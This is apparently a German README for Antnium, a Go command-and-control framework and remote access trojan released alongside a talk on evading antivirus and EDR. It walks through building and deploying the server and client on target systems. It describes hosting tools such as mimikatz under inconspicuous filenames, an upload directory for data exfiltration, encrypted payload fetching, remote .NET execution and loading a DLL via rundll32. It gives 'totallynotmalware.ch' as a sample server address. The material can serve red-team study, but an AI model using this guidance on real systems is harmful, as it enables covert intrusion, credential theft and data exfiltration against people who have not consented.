
Ein C2-Framework für den Erstzugriff in Go
Anti Tanium
Ein C2-Framework und RAT, geschrieben in Go.
Dieser Quellcode ist als Referenz für meinen Vortrag Develop your own RAT - AV & EDR Defense öffentlich veröffentlicht worden. Antnium ist dazu gedacht, meine eigenen Anforderungen zu erfüllen, und nicht die anderer. Es funktioniert für die Kampagnen, die ich durchgeführt habe, ist aber nicht unbedingt als generisches C2-Framework gedacht.
Es gibt zwei Komponenten:
Lade Go (und Git) herunter und installiere es.
Wir verwenden hier 127.0.0.1:8080 als C2-Domäne (localhost, da wir sowohl client.exe als auch server.exe auf demselben Host starten). Dies ist auch die Standardeinstellung, es muss nichts geändert werden.
Kampagne in campaign/campaign.go prüfen:
serverUrl = "http://127.0.0.1:8080"Unter Windows bauen:
> .\makewin.bat deploy
Unter Linux bauen:
$ make deploy
Server und Client starten:
cd build\
.\server.exe
.\static\client.exe
Ruf die WebUI auf, indem du nach dem Start von server.exe die folgende URL im Browser öffnest:
http://localhost:8080/webui/
static/: Öffentliches Verzeichnis für ToolsLege dort Dateien ab, die du auf anderen Maschinen herunterladen möchtest, z. B. client.exe, wingman.exe. Und deine Tools wie mimikatz.exe oder seatbelt.exe. Verwende aber unauffälligere Dateinamen.
Die Dateien sind auch über die /secure-API verfügbar, die mit verschlüsselten Dateinamen aufgerufen wird und als Antwort eine verschlüsselte, base64-kodierte Datei liefert.
dotNet-Dateien können mithilfe der Ausführungsoption remote ausgeführt werden (Zugriff über /secure).
upload/: Privates Verzeichnis für DatenexfiltrationDatei-Uploads vom Client werden dort gespeichert.
Go-Installation:
apt install golang gcc-mingw-w64Kompiliere client.exe und server.exe:
> .\makewin.bat deploy
Dies erstellt:
Starte server.exe:
> cd build
> .\server.exe
Antnium 0.1
Loaded 0 packets from db.packets.json
Loaded 0 clients from db.clients.json
Periodic DB dump enabled
Starting webserver on 127.0.0.1:8080
Starte client.exe:
> .\build\static\client.exe
Antnium 0.1
time="2021-09-02T21:48:16+02:00" level=info msg="UpstreamHttp: Use WS"
time="2021-09-02T21:48:16+02:00" level=info msg="Connecting to WS succeeded"
time="2021-09-02T21:48:16+02:00" level=info msg=Send 1_computerId=c4oil02sdke2sp3nfngg 2_packetId=0 3_downstreamId=client 4_packetType=ping 5_arguments="map[]" 6_response=...
time="2021-09-02T21:48:16+02:00" level=info msg=Send 1_computerId=c4oil02sdke2sp3nfngg 2_packetId=0 3_downstreamId=client 4_packetType=ping 5_arguments="map[]" 6_response=...
Das Kompilieren des Windows-Clients unter Linux funktioniert, erfordert aber etwas manuelles GO-gcc-Kommandozeilen-Know-how, da einige Windows-Abhängigkeiten bestehen. Wenn es nicht sofort funktioniert, kompiliere den Windows-Client unter Windows selbst (makewin.bat client).
pkg/campaign/campaign.go verbindet eine kompilierte client.exe mit einer bestimmten server.exe, was eine Kampagne bildet. Eine Kampagne hat individuelle Verschlüsselungs- und Authentifizierungsschlüssel, die zwischen Server und Client geteilt werden.
type Campaign struct {
ApiKey string // Key used to access client facing REST
EncKey []byte // Key used to encrypt packets between server/client
ServerUrl string // URL of the server, as viewed from the clients
}
Und der Admin-UI-/Operator-Schlüssel in pkt/server/config.go:
type Config struct {
AdminApiKey string
}
Beachte, dass ServerUrl die URL ist, die der Client für die gesamte Interaktion mit dem Server verwendet. Es ist die öffentliche Server-URL, z. B. http://totallynotmalware.ch. Die eigentliche server.exe kann sich hinter einem Reverse-Proxy befinden und mit server.exe --listenaddr 127.0.0.1:8080 gestartet werden (ServerUrl ist also nicht unbedingt gleich listenaddr).
Beim ersten Verbinden mit dem Server musst du zuerst auf die UI zugreifen und sie konfigurieren.
Die Angular-UI-Dateien sind öffentlich zugänglich. Nehmen wir an, ServerUrl="http://localhost:8080" und listenaddr=0.0.0.0:8080. Du kannst entweder:
http://localhost:8080/webui in deinem Browserng serve aus dem antniumui-Verzeichnis ausführen und dann http://localhost:4200 in deinem Browser öffnenWenn du dich im Browser mit der UI verbindest, musst du zuerst die Server-IP und ihr Passwort konfigurieren:
Getestet auf:
Unter Windows kompilieren:
> .\makewin.bat client
Setze es auf deinem Zielsystem ein.
Getestet auf:
Unter Linux:
$ make server
$ mkdir -p static upload
$ ./server --listenaddr 0.0.0.0:8080
Das Ergebnis ist server.exe. Stelle sicher, dass du es in dem Verzeichnis ausführst, in dem du Folgendes hast oder erwartest:
Es startet einen REST-Server auf diesem Port, der Folgendes bereitstellt:
/: REST für die Clients/ws: Websocket für die Clients/admin: REST für die Admin-Oberfläche (Paket hinzufügen, Clients abrufen)/adminws: Websocket für die Admin-Oberfläche (Pakete pushen)/webui: HTML-Dateien für die Admin-Oberfläche (Angular-Quellcode und HTML, greift auf REST und Websocket zu)Setze einen Reverse-Proxy davor (stelle sicher, dass er Websockets unterstützt!) oder leite Ports weiter.
Für manuellen Proxy verwende die vollständige HTTP-URL:
client.exe -proxy http://proxy:8080
oder über Umgebungsvariablen:
export PROXY http://localhost:8080
./client
Wingman ist im Grunde der Client, jedoch ohne direkte Verbindung zum C2.
Er kann sich mit einem vorhandenen Client auf localhost:50000 verbinden (stelle sicher, dass er gestartet ist, wenn Campaign.AutoStartDownstreams false ist).
Verbindet sich mit localhost-Port 50000:
wingman.exe
Oder verwende rundll32.exe, um die DLL zu laden (die 64-Bit-rundll32-Version in system32, nicht die 32-Bit-Version in C:\Windows\SysWOW64\rundll32.exe):
C:\Windows\System32\rundll32.exe .\wingman.dll,Start
Es erscheint als Downstream net#0.
go test ./...
Es können weiterhin Race Conditions auftreten. Wenn es einmal fehlschlägt, führe es einfach erneut aus.